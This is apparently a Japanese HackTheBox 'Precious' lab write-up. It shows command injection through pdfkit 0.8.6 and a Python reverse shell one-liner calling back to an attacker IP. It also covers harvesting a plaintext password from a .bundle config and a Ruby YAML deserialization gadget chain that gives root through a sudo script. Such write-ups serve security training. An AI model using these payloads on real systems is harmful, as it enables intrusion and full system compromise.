【HackTheBox】Precious Writeup
Enumeration
nmap
┌──(kali㉿kali)-[~]
└─$ nmap -sVC -T4 -p- -Pn -open 10.10.11.189
nmapの結果、port22と80が動いています。
ウェブサイトのprecious.htb
を/etc/hosts
に入れます。
Website Enumeration
サイトにアクセスするとこんな感じです。
URLのところにhttps://www.google.com
を入れると"Cannot load remote URL!"というメッセージが出てきました。ローカルのサーバー起動してアプリの動作を確認します。
┌──(kali㉿kali)-[~/precious]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
今度はhttp://10.10.14.6:8080/
で試しました。submitするとPDFが生成されました。
PDFをダウンロードしてexiftoolでmetadataを見てみます。
┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool 5iphyd396mfxwk63blc68w8iss64yie1.pdf
ExifTool Version Number : 12.49
File Name : 5iphyd396mfxwk63blc68w8iss64yie1.pdf
Directory : .
File Size : 11 kB
File Modification Date/Time : 2023:05:24 09:53:09-04:00
File Access Date/Time : 2023:05:24 09:53:09-04:00
File Inode Change Date/Time : 2023:05:24 09:53:09-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Page Count : 1
Creator : Generated by pdfkit v0.8.6
pdfkit v0.8.6
で生成されたと書いています。exploitを探してみます。
URLのquery parameterでコマンドインジェクションができるみたいです。(https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795)
Foothold
pdfkit Command Injection
このpayloadでインジェクションできました。
http://10.10.14.6:8000/?name=%20`id`
whoami
の結果は"ruby"でした。このままcat /home/ruby/user.txt
を入れてみたらフラグが読めなかったです。/home
をみると、rubyとhenryの二人のユーザーがいました。userフラグはhenryの方にあるかもしれません。
ではburpでreverse shell取ります。
interceptしたリクエストはこんな感じです。key charactersはURL encodeされています。
PayloadAllTheThingsのpython reverse shellを使います。
(https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology and Resources/Reverse Shell Cheatsheet.md#python)
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
encodeしたものをburpでリクエストを送ります。
url=http%3a//10.10.14.2%3a8000/%3fname%3d%2520`python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.2",9001))%3bos.dup2(s.fileno(),0)%3bos.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bsubprocess.call(["/bin/sh","-i"])'`
shell取れました。
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.189] 57264
/bin/sh: 0: can't access tty; job control turned off
$ whoami
ruby
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$
Switch from Ruby to Henry
Henryのパスワードがないとユーザー変えられないので、credentials探します。
/home/ruby
中を確認すると、.bundle
というあまりみたことのないディレクトリーがありました。
ruby@precious:/var/www/pdfapp$ cd /home/ruby
ruby@precious:~$ ls -la
drwxr-xr-x 4 ruby ruby 4096 May 24 09:46 .
drwxr-xr-x 4 root root 4096 Oct 26 2022 ..
lrwxrwxrwx 1 root root 9 Oct 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 2022 .bundle
drwxr-xr-x 3 ruby ruby 4096 May 24 09:46 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
.bundle/config
の中にhenryのパスワードがありました。ユーザーを切り替えます。
ruby@precious:~$ cd .bundle
ruby@precious:~/.bundle$ ls -l
-r-xr-xr-x 1 root ruby 62 Sep 26 2022 config
ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$ su henry
Password: Q3c1AqGHtoI0aXAYFH
henry@precious:/home/ruby/.bundle$ cat /home/henry/user.txt
userフラグ取れました。
Privilege Escalation
Enumeration
Henryのsudo権限を確認します。
henry@precious:/$ sudo -l
sudo -l
Matching Defaults entries for henry on precious:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
(root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
/opt/update_dependencies.rb
の中身はこんな感じです。
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'
# TODO: update versions automatically
def update_gems()
end
def list_from_file
YAML.load(File.read("dependencies.yml"))
end
def list_local_gems
Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end
gems_file = list_from_file
gems_local = list_local_gems
gems_file.each do |file_name, file_version|
gems_local.each do |local_name, local_version|
if(file_name == local_name)
if(file_version != local_version)
puts "Installed version differs from the one specified in file: " + local_name
else
puts "Installed version is equals to the one specified in file: " + local_name
end
end
end
end
コードの中に読み込んでいるdependencies.yml
も確認します。
henry@precious:/opt$ find / -name dependencies.yml 2>/dev/null
/opt/sample/dependencies.yml
henry@precious:/opt$ cat /opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6
実行するとエラーが出ます。パスが指定されていないのでyamlファイルが見つからなかったみたいです。
henry@precious:/opt$ sudo /usr/bin/ruby /opt/update_dependencies.rb
Traceback (most recent call last):
2: from /opt/update_dependencies.rb:17:in `<main>'
1: from /opt/update_dependencies.rb:10:in `list_from_file'
/opt/update_dependencies.rb:10:in `read': No such file or directory @ rb_sysopen - dependencies.yml (Errno::ENOENT)
YAML Deserialization Attack
rubyスクリプトのいじれるところはyamlファイルの読み込みだけでした。しかもスクリプトの中はsafe_load
ではなくてload
を使っているので、deserializationに問題があるはずです(pythonも同じ)。
ruby yaml deserialization exploitで検索すると、それっぽいリンクが出てきました。yamlの中の任意のコマンドを実行できるみたいです。(https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
/opt
にdependencies.yml
を作ろうとしたらtouchの権限がなかったです。なので、/home/henry
に移動してそこに作ります。実行するコマンドをid
にします。
※yamlに余計なスペースが入っているとparse errorが出るので、yaml formatterを使って確認した方がいいです。これで結構時間取られました、、
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
実行するとidの結果が出ました。rootです。
YAML.load()
にファイル名だけ渡して(パスを指定していない)場合はcurrent working directoryからファイルを探してくれるらしいです。なので/home/henry
でスクリプトを実行すると、同じディレクトリーに入っているdependencies.yml
が読み込まれます。
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
33: from /opt/update_dependencies.rb:17:in `<main>'
32: from /opt/update_dependencies.rb:10:in `list_from_file'
...[snip]...
Root Shell
id
を/bin/bash
に書き換えるとroot shellが取れました。
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# whoami
root
root@precious:/home/henry# cat /root/root.txt
rootフラグゲットできました!
Discussion